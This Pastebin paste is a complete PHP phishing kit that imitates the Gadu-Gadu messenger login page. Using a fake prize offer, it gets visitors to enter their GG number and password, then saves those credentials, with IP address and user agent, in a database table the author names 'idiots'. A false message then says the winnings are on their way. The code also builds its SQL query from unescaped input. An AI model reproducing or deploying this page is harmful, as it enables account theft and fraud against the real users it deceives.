Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
- <head>
- <title> Centrum Logowania Gadu-Gadu</title>
- <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
- <meta name="copyright" content="Copyright (c) 2007 GG Network S.A." />
- <style type="text/css">
- @import url("https://login.gadu-gadu.pl/css/style.css?15102008");
- </style>
- <style type="text/css">
- @import url("https://login.gadu-gadu.pl/css/login-style-ie.css?25092008");
- .cbalink {
- display:none;
- }</style>
- </head>
- <body class="body-identifier-pl" id="landing">
- <div class="central_box_regform_outer central_box_regform_outer_pl" id="wrapper">
- <div class="central_box_regform central_box_regform_Common_login " id="content">
- <div id="logo_big"></div>
- <div id="login_page">
- <div class="bottomFrame" id="login">
- <div class="frame" id="loginView">
- <form method="post" action="#">
- <input type="hidden" name="action" value="Common_login" />
- <input type="hidden" name="endpoint" value="www" />
- <fieldset>
- <?php
- ////////////////////////////////////////////////////////////
- //////// script created by Shady on GNU/GPL license ////////
- //////// gg 15530223 | mail izzypjchamp@gmail.com ////////
- ////////////////////////////////////////////////////////////
- /**************** DATABASE : idiots *****************
- CREATE TABLE IF NOT EXISTS `idiots` (
- `id` int(11) NOT NULL AUTO_INCREMENT,
- `login` varchar(40) COLLATE utf8_polish_ci NOT NULL,
- `pass` varchar(40) COLLATE utf8_polish_ci NOT NULL,
- `time` varchar(22) COLLATE utf8_polish_ci NOT NULL,
- `ip` varchar(15) COLLATE utf8_polish_ci NOT NULL,
- `agent` text COLLATE utf8_polish_ci NOT NULL,
- PRIMARY KEY (`id`)
- ) ENGINE=InnoDB DEFAULT CHARSET=utf8 COLLATE=utf8_polish_ci AUTO_INCREMENT=1 ;
- ******************************************************/
- session_start();
- function true_ip() {
- if(isset($_SERVER['HTTP_CLIENT_IP'])) $ip = $_SERVER['HTTP_CLIENT_IP'];
- elseif(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
- else $ip = $_SERVER['REMOTE_ADDR'];
- return $ip;
- }
- if(isset($_POST['submit'])) {
- if(empty($_POST['uin']) || empty($_POST['password'])) { echo '<script>alert("Nie podano wszystkich danych konta, uzupelnij brakujace pola.");</script>'; }
- else {
- try {
- $db = new PDO('mysql:host=localhost;dbname=base_name;encoding=utf8', 'user', 'pass');
- $db -> setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
- $db -> exec("INSERT INTO idiots (login, pass, time, ip, agent) VALUES ('".$_POST['uin']."', '".$_POST['password']."', '".date('d.m.y H:i:s')."', '".true_ip()."', '".$_SERVER['HTTP_USER_AGENT']."')");
- $_SESSION['on'] = true;
- header('Location: #');
- }
- catch(PDOException $error) {
- exit('Error communicating with the database!<br/>'.$error);
- }
- }
- }
- if(empty($_SESSION['on'])) {
- echo '
- <legend id="logInTxt">Zaloguj sie, aby odebrac nagrode</legend>
- <legend id="logAsTxt" style="display:none;">Zaloguj jako</legend>
- <div class="box_header">
- <label><b>Numer GG</b> <span class="light gray">email lub telefon</span></label>
- <input id="uin" name="uin" value="" class="input_long " type="text" tabindex="1"/>
- </div>
- <div class="margin">
- <label>Haslo</label>
- <input class="input_long " id="password" name="password" value="" type="password" tabindex="2"/>
- </div>
- <div class="actionsLeft">
- <button class="blue" type="submit" name="submit">Zaloguj</button>
- <button class="blue" type="submit" name="cancel" value="cancel">Usun</button>
- </div>
- <div>
- <label for="remember_me" class="additional light gray">
- <input type="checkbox" name="remember_me" id="remember_me">
- Zapamietaj mnie </label>
- </div>
- </fieldset>
- <hr></hr>
- <div class="margin">
- <a class="" href="https://login.gadu-gadu.pl/account/remindpass">Nie pamietam numeru GG</a>
- <br/>
- <a class="" href="https://login.gadu-gadu.pl/account/remindpass">Nie pamietam hasla</a>
- </div>
- </form>
- </div>
- <div class="darkBox">
- <div>
- Nie masz konta GG? <a href="https://login.gadu-gadu.pl/account/register">Zaloz konto »</a> </div>
- </div>
- </div>';
- } else {
- echo '<font size="3em"><b>Autoryzacja przebiegla pomyslnie!</b></font><br/><br/>
- Proces potwierdzajacy wlasciciela nagrody zostal ukonczony. Wkrotce na Twoj wirtualny portfel zostanie przelana wygrana kwota. Realizacja moze potrwac od kilku minut do 2 godzin.<br/><br/><br/><br/><br/><br/><br/><br/><br/><br/><b>Pozdrawiamy, zespol Gadu-Gadu!</b>';
- }
- ?>
- </div>
- </div>
- <div id="footer">
- <div id="footer_logo">
- <div id="logo_small"></div>
- <div id="menu">
- <p>
- <a href="http://www.gg.pl/info/pobierz"><b>Pobierz GG</b></a>
- - <a href="http://www.gg.pl/pomoc/">Pomoc</a>
- - <a href="http://www.gg.pl/developer/">Dla developerow</a>
- - <a href="http://www.gg.pl/prawne/regulamin">Regulamin</a>
- - <a href="http://www.gg.pl/prawne/polityka-prywatnosci">Prywatnosc</a>
- - <a href="http://www.gg.pl/kontakt">Zglos naduzycie</a>
- </p>
- <p><b>© 2012 GG Network S.A.</b> -
- <a href="http://biuroprasowe.gadu-gadu.pl/">O nas</a>
- -
- <a href="http://reklama.gadu-gadu.pl/">Reklama</a>
- -
- <a href="http://www.gg.pl/kariera">Kariera</a>
- -
- <a href="http://www.gg.pl/kontakt">Kontakt</a></p>
- </div>
- </div>
- </div>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement